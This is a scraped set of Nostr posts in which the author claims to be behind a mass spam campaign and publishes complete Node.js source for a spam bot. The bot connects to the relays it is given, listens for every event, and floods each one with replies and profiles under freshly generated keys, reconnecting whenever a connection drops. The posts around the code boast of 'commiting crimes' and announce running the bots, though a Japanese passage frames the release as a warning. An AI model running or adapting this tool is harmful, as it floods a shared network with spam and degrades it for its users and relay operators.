33
33c68565
33c6856583b5cd5932a5b339b87138a2b6b75f83886176032284d339cf1054fb
Hi. I am the one who did the mass spam bots. I am no longer touching this account & no longer telling you who exactly i am. All remains a mystery. You may also check: - note1ydazp4s0k2c8q5swzm336frttzcdq6atkpvm7uuzmt866qdtzgtqngnr6q SpamBot Source Code: // Save the following as index.js // Licensed under Public Domain. // Before running the following, Ensure that you've installed ws and nostr-tools: // ~/nostrspam $ npm install ws nostr-tools // Usage: node index.js wss://relay.example1.com wss://relay.example2.com .... const relays = process.argv.slice(2); const filter = {} // If needed. if (!process.env.RELAY_URL && !relays.length) { console.log("Usage: node index.js [relay-addresses]"); process.exit(1); } if (!process.env.RELAY_URL) { console.log("Relays:", relays.join(", ")); const cluster = require('cluster'); for (RELAY_URL of relays) { cluster.fork({ RELAY_URL }); } cluster.on('exit', (worker, code, signal) => { console.log(`Worker ${worker.process.pid} died. Forking another one....`); cluster.fork({ RELAY_URL: worker.process.env.RELAY_URL }); }); return; } const WebSocket = require('ws'); const crypto = require('crypto'); const { validateEvent, verifySignature, generatePrivateKey, getPublicKey, getEventHash, getSignature } = require('nostr-tools'); const randStr = _ => crypto.randomBytes(_).toString("base64url"); function spam(tags = [], c) { const privkey = generatePrivateKey(); const pubkey = getPublicKey(privkey); let profile = { created_at: Math.floor(Date.now() / 1000), kind: 0, pubkey, content: JSON.stringify({ about: randStr(300), display_name: randStr(20), name: randStr(20) }), tags: [] } let event = { created_at: Math.floor(Date.now() / 1000), kind: 1, pubkey, content: randStr(300), tags } profile.id = getEventHash(profile); profile.sig = getSignature(profile, privkey); event.id = getEventHash(event); event.sig = getSignature(event, privkey); if (!validateEvent(event) || !verifySignature(event) || !validateEvent(profile) || !verifySignature(profile)) return console.log("invalid"); return [profile, event]; } function newrelay(addr, eose = false) { const relay = new WebSocket(addr); relay.addr = addr; console.log("connecting", addr) relay.on('open', _ => { relay.send(`["REQ", "relayevent", ${JSON.stringify(filter)}]`); console.log("ESTABLISHED", addr); }); relay.on('message', data => { try { data = JSON.parse(data); } catch (error) { return console.error(error); } if (data[0] === "OK") return console.log(addr, data.join(" ")); if (data[0] !== "EVENT") return; const ev = data[2]; for (sendev of spam([["e", ev.id],["p", ev.pubkey]], ev.content)) { relay.send(JSON.stringify( ["EVENT", sendev ] )); } for (sendev of spam([["e", ev.id]], ev.content)) { relay.send(JSON.stringify( ["EVENT", sendev ] )); } for (sendev of spam()) { relay.send(JSON.stringify( ["EVENT", sendev ] )); } console.log(addr, ev.pubkey, ev.id); }); relay.on('error', _ => console.error(relay.addr, _)); relay.on('close', _ => { for (i in ['open', 'message', 'error', 'close']) { relay.removeAllListeners(i); } newrelay(addr); }); } newrelay(process.env.RELAY_URL);

I am commiting crimes on Nostr.

Wow.

"X Airdrop Round X is Live"

"XXXXXXX Claim your free $XXXX"

NGGGGGGGGGGGGGGGGGGGEEEEEEEEEEEEEEEEEHHHHHHHHH

BULLSHIT.

TIME TO RUN MY SPAMBOTS101

ใ“ใฎๅ‹•ไฝœใซ้–ขใ—ใฆใฏใ€ใƒ—ใƒญใƒˆใ‚ณใƒซใŒ้ฉๅˆ‡ใงใ‚ใ‚‹ใ“ใจใ‚’ๆœ›ใฟใพใ™ใ€‚็งใŒใใ‚Œใ‚‰ใฎใ‚นใƒ‘ใƒ ใƒœใƒƒใƒˆใฎๅฎŸ่กŒใ‚’ใ‚„ใ‚ใŸใจใ—ใฆใ‚‚ใ€ใŠใใ‚‰ใไป–ใฎไบบใ€…ใฏ็งใŒ็พๅœจ่กŒใฃใฆใ„ใ‚‹ใ“ใจใจใพใฃใŸใๅŒใ˜ใ“ใจใ‚’่กŒใ†ใงใ—ใ‚‡ใ†ใ€‚ใ ใ‹ใ‚‰ใ“ใใ€ๅฐ†ๆฅใ“ใฎใ‚ˆใ†ใชๆใ‚ใ—ใ„ใ“ใจใŒ่ตทใ“ใ‚‹ๅ‰ใซใ€ใ“ใฎใ‚นใƒ‘ใƒ ใซใคใ„ใฆๆณจๆ„ใ‚’ๅ–š่ตทใ—ใŸใ„ใฎใงใ™ใ€‚ใŸใ ใ—ใ€้–‹็™บ่€… (ใ‚ฏใƒฉใ‚คใ‚ขใƒณใƒˆ) ใฏใ‚ฏใƒฉใ‚คใ‚ขใƒณใƒˆใซใƒ•ใ‚ฃใƒซใ‚ฟใƒผๆฉŸ่ƒฝใ‚’ไฝœๆˆใ™ใ‚‹ใ“ใจใ‚’ๅฅฝใฟใพใ™ใŒใ€ใ“ใ‚Œใงใฏใพใ ๅ•้กŒๅ…จไฝ“ใŒๅฎŒๅ…จใซ่งฃๆฑบใ•ใ‚Œใฆใ„ใพใ›ใ‚“ใ€‚ใ„ใšใ‚Œใซใ›ใ‚ˆใ€ไป–ใฎใ‚ฏใƒฉใ‚คใ‚ขใƒณใƒˆใฏไพ็„ถใจใ—ใฆใ‚นใƒ‘ใƒ ใ‚’่ฆ‹ใ‚‹ใ“ใจใŒใงใใพใ™ใ€‚

It will be a real shitshow if this massive spam incident also get into the news (like CNBC).

I warn to everyone about the spam and everyone thinks that i am joking and this was an easy-to-fix problem.

Keep swagging your bloaty anti spam feature.

I am here for a year now.

And i know how Nostr works after learning the NIP in a week.